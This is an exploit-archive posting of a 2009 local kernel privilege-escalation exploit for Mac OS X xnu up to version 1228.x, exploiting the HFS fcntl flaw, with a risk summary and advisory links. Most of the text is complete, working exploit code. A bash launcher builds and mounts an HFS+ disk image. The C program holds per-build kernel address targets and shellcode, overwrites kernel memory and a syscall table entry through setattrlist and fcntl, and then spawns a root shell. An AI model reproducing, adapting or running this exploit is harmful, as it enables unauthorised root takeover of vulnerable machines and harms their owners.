Mac OS X xnu <= 1228.x (hfs-fcntl) Local Kernel Root

2009.04.05
Credit: mu-b
Risk: High
Local: Yes
Remote: No
CWE: CWE-20


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/bin/bash # * xnu-hfs-fcntl-v2.sh # * # * Copyright (c) 2008 by <mu-b@digit-labs.org> # * # * Apple MACOS X 792.0 <= xnu <= 1228.x local kernel root exploit # * by mu-b - Sat 14 June 2008 # * # * - Tested on: Apple MACOS X 10.4.8 (xnu-792.14.14.obj~1/RELEASE_I386) # * Apple MACOS X 10.4.9 (xnu-792.18.5~1/RELEASE_I386) # * Apple MACOS X 10.4.10 (xnu-792.22.5~1/RELEASE_I386) # * Apple MACOS X 10.4.11 (xnu-792.25.20~1/RELEASE_I386) # * Apple MACOS X 10.5.0 (xnu-1228~1/RELEASE_I386) # * Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386) # * Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386) # * Apple MACOS X 10.5.3 (xnu-1228.5.18~1/RELEASE_I386) # * Apple MACOS X 10.5.4 (xnu-1228.5.20~1/RELEASE_I386) # * Apple MACOS X 10.5.5 (xnu-1228.7.58~1/RELEASE_I386) # * Apple MACOS X 10.5.6 (xnu-1228.9.59~1/RELEASE_I386) # * # * - Private Source Code -DO NOT DISTRIBUTE - # * http://www.digit-labs.org/ -- Digit-Labs 2008!@$! # * IMAGE=xnu-hfs EXPFILE=xnu-hfs-fcntl-v2 echo -en "Apple MACOS X xnu <= 1228.x local kernel root exploit\n" \ "by: <mu-b@digit-labs.org>\n" \ "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n" if [ ! -f $EXPFILE ]; then echo -n "* compiling exploit..." gcc -Wall $EXPFILE.c -o $EXPFILE 2> /dev/null if [ $? != 0 ]; then echo " failed" exit $? else echo " done" fi fi if [ ! -f $IMAGE.dmg ]; then echo -n "* creating diskimage..." hdiutil create -megabytes 1 -fs HFS+ -volname $IMAGE $IMAGE.dmg > /dev/null if [ $? != 0 ]; then echo " failed" exit $? else echo " done" fi fi echo -n "* attaching/mounting diskimage..." hdiutil attach $IMAGE.dmg > /dev/null if [ $? != 0 ]; then echo " failed" exit $? else echo " done" fi echo -e "* executing exploit...\n" ./$EXPFILE /Volumes/$IMAGE echo -n "* detaching/unmounting diskimage..." hdiutil detach /Volumes/$IMAGE > /dev/null if [ $? != 0 ]; then echo " failed" exit $? else echo " done" fi /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /* xnu-hfs-fcntl-v2.c * * Copyright (c) 2008 by <mu-b@digit-labs.org> * * Apple MACOS X 792.0 <= xnu <= 1228.x local kernel root exploit * by mu-b - Sat 14 June 2008 * * - Tested on: Apple MACOS X 10.4.8 (xnu-792.14.14.obj~1/RELEASE_I386) * Apple MACOS X 10.4.9 (xnu-792.18.5~1/RELEASE_I386) * Apple MACOS X 10.4.10 (xnu-792.22.5~1/RELEASE_I386) * Apple MACOS X 10.4.11 (xnu-792.25.20~1/RELEASE_I386) * Apple MACOS X 10.5.0 (xnu-1228~1/RELEASE_I386) * Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386) * Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386) * Apple MACOS X 10.5.3 (xnu-1228.5.18~1/RELEASE_I386) * Apple MACOS X 10.5.4 (xnu-1228.5.20~1/RELEASE_I386) * Apple MACOS X 10.5.5 (xnu-1228.7.58~1/RELEASE_I386) * Apple MACOS X 10.5.6 (xnu-1228.9.59~1/RELEASE_I386) * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2008!@$! */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <fcntl.h> #include <string.h> #include <sys/attr.h> #include <sys/syscall.h> #include <sys/utsname.h> #include <unistd.h> #define OSX_TIGER 0x04 #define OSX_LEOPARD 0x05 #define HFS_GET_BOOT_INFO 0x00010004 #define SYSCALL_NUM 21 #define TIGER_HIT_ADDY(a) ((a)+0x20+((sizeof (struct sysent)-sizeof (int))*SYSCALL_NUM)) #define LEOPARD_HIT_ADDY(a) ((a)+0x20+(sizeof (struct sysent)*SYSCALL_NUM)) /* 1228.x, bsd/sys/sysent.h */ struct sysent { short sy_narg; char sy_resv; char sy_flags; void *sy_call; void *sy_arg_munge32; void *sy_arg_munge64; int sy_return_type; short sy_arg_bytes; }; static unsigned char ztiger[] = "\x55" "\x89\xe5" "\x8b\x45\x08" "\x8b\x40\x08" "\xc7\x40\x10\x00\x00\x00\x00" "\x31\xc0" "\xc9" "\xc3"; static unsigned char zleopard[] = "\x55" "\x89\xe5" "\x8b\x45\x08" "\x8b\x40\x64" "\xc7\x40\x10\x00\x00\x00\x00" "\x31\xc0" "\xc9" "\xc3"; static struct targets { const char *name; int shell_addr; /* &copyright */ int sys_addr; /* &nsysent */ const int type; } targets_t[] = { /* tiger */ { "root:xnu-792.14.14.obj~1/RELEASE_I386", 0x004518ac, 0x00451920, OSX_TIGER }, { "root:xnu-792.18.15~1/RELEASE_I386", 0x004528ec, 0x00452960, OSX_TIGER }, { "root:xnu-792.22.5~1/RELEASE_I386", 0x004548ec, 0x00454960, OSX_TIGER }, { "root:xnu-792.25.20~1/RELEASE_I386", 0x004548ec, 0x00454960, OSX_TIGER }, /* leopard */ { "root:xnu-1228~1/RELEASE_I386", 0x0050170c, 0x00501780, OSX_LEOPARD }, { "root:xnu-1228.0.2~1/RELEASE_I386", 0x0050270c, 0x00502780, OSX_LEOPARD }, { "root:xnu-1228.3.13~1/RELEASE_I386", 0x0050470c, 0x00504780, OSX_LEOPARD }, { "root:xnu-1228.5.18~1/RELEASE_I386", 0x0050770c, 0x00507780, OSX_LEOPARD }, { "root:xnu-1228.5.20~1/RELEASE_I386", 0x0050770c, 0x00507780, OSX_LEOPARD }, { "root:xnu-1228.7.58~1/RELEASE_I386", 0x0050770c, 0x00507780, OSX_LEOPARD }, { "root:xnu-1228.9.59~1/RELEASE_I386", 0x0050A70c, 0x0050A780, OSX_LEOPARD }, { NULL, 0, 0, 0 }, }; int main (int argc, char **argv) { struct utsname p_uname; struct sysent fsysent; struct attrlist attr; char buf_attr[2048], *ptr; int shell_addr, sys_addr, sysent_addr; int fd, id, i, n, type; printf ("Apple MACOS X xnu <= 1228.x local kernel root exploit\n" "by: <mu-b@digit-labs.org>\n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"); if (argc < 2) { fprintf (stderr, "Usage: %s <hfs volume>\n", argv[0]); exit (EXIT_FAILURE); } shell_addr = 0; sys_addr = 0; type = 0; uname (&p_uname); ptr = strrchr (p_uname.version, ' ') + 1; for (i = 0; targets_t[i].name; i++) if (strcmp (targets_t[i].name, ptr) == 0) { shell_addr = targets_t[i].shell_addr; sys_addr = targets_t[i].sys_addr; type = targets_t[i].type; break; } if (targets_t[i].name == NULL) { fprintf (stderr, "%s: unsupported xnu version found :( [%s]\n", argv[0], ptr); exit (EXIT_FAILURE); } printf ("* getattrlist..."); fflush (stdout); attr.bitmapcount = ATTR_BIT_MAP_COUNT; attr.commonattr = ATTR_CMN_FNDRINFO; attr.volattr = 0; attr.dirattr = 0; attr.fileattr = 0; attr.forkattr = 0; n = getattrlist (argv[1], &attr, (void *) buf_attr, sizeof (buf_attr), 0); if (n < 0) { fprintf (stderr, "\n%s: getattrlist failed\n", argv[0]); exit (EXIT_FAILURE); } printf ("done\n"); printf ("** attrlist length: %d\n", *(int *) &buf_attr[0]); printf ("** fndrinfo: "); for (i = 4; i < *(int *) &buf_attr[0]; i++) printf ("%c", buf_attr[i]); printf ("\n* done\n\n"); if (type == OSX_TIGER) memcpy (&buf_attr[4], ztiger, sizeof (ztiger) - 1); else if (type == OSX_LEOPARD) memcpy (&buf_attr[4], zleopard, sizeof (zleopard) - 1); else { fprintf (stderr, "\n%s: unknown type!\n", argv[0]); exit (EXIT_FAILURE); } printf ("* setattrlist..."); fflush (stdout); attr.bitmapcount = ATTR_BIT_MAP_COUNT; attr.commonattr = ATTR_CMN_FNDRINFO; attr.volattr = ATTR_VOL_INFO; attr.dirattr = 0; attr.fileattr = 0; attr.forkattr = 0; n = setattrlist (argv[1], &attr, (void *) &buf_attr[4], sizeof (buf_attr) - 4, 0); if (n < 0) { fprintf (stderr, "\n%s: setattrlist failed\n", argv[0]); exit (EXIT_FAILURE); } printf ("done\n"); sleep (2); fd = open (argv[1], O_RDONLY); if (fd < 0) { fprintf (stderr, "%s: open failed\n", argv[0]); exit (EXIT_FAILURE); } printf ("* overwriting @0x%08X\n", shell_addr); fflush (stdout); n = fcntl (fd, HFS_GET_BOOT_INFO, shell_addr); if (n < 0) { fprintf (stderr, "%s: fcntl failed\n", argv[0]); exit (EXIT_FAILURE); } printf ("* done\n\n"); fsysent.sy_narg = 1; fsysent.sy_resv = 0; fsysent.sy_flags = 0; fsysent.sy_call = (void *) shell_addr; fsysent.sy_arg_munge32 = NULL; fsysent.sy_arg_munge64 = NULL; fsysent.sy_return_type = 0; fsysent.sy_arg_bytes = 4; memcpy (&buf_attr[4], &fsysent, sizeof (struct sysent)); printf ("* setattrlist..."); fflush (stdout); attr.bitmapcount = ATTR_BIT_MAP_COUNT; attr.commonattr = ATTR_CMN_FNDRINFO; attr.volattr = ATTR_VOL_INFO; attr.dirattr = 0; attr.fileattr = 0; attr.forkattr = 0; n = setattrlist (argv[1], &attr, (void *) &buf_attr[4], sizeof (buf_attr) - 4, 0); if (n < 0) { fprintf (stderr, "\n%s: setattrlist failed\n", argv[0]); exit (EXIT_FAILURE); } printf ("done\n"); sleep (2); if (type == OSX_TIGER) sysent_addr = TIGER_HIT_ADDY(sys_addr); else if (type == OSX_LEOPARD) sysent_addr = LEOPARD_HIT_ADDY(sys_addr); else { fprintf (stderr, "\n%s: unknown type!\n", argv[0]); exit (EXIT_FAILURE); } printf ("* overwriting @0x%08X\n", sysent_addr); printf ("** sysent[%d].sy_call: 0x%08X\n", SYSCALL_NUM, shell_addr); fflush (stdout); n = fcntl (fd, HFS_GET_BOOT_INFO, sysent_addr); if (n < 0) { fprintf (stderr, "%s: fcntl failed\n", argv[0]); exit (EXIT_FAILURE); } printf ("* done\n\n"); printf ("* jumping..."); sleep (2); n = syscall (SYSCALL_NUM, NULL); printf ("done\n\n"); id = getuid (); printf ("* getuid(): %d\n", id); if (id == 0) { printf ("+Wh00t\n\n"); /* exec shell, for some reason execve doesn't work!?$! */ system ("/bin/bash"); } else fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]); return (EXIT_SUCCESS); }

References:

http://www.vupen.com/english/advisories/2009/0822
http://www.securityfocus.com/bid/34203
http://www.milw0rm.com/exploits/8266
http://www.informationweek.com/news/hardware/mac/showArticle.jhtml?articleID=216401181
http://www.digit-labs.org/files/exploits/xnu-hfs-fcntl-v2.sh
http://www.digit-labs.org/files/exploits/xnu-hfs-fcntl-v2.c


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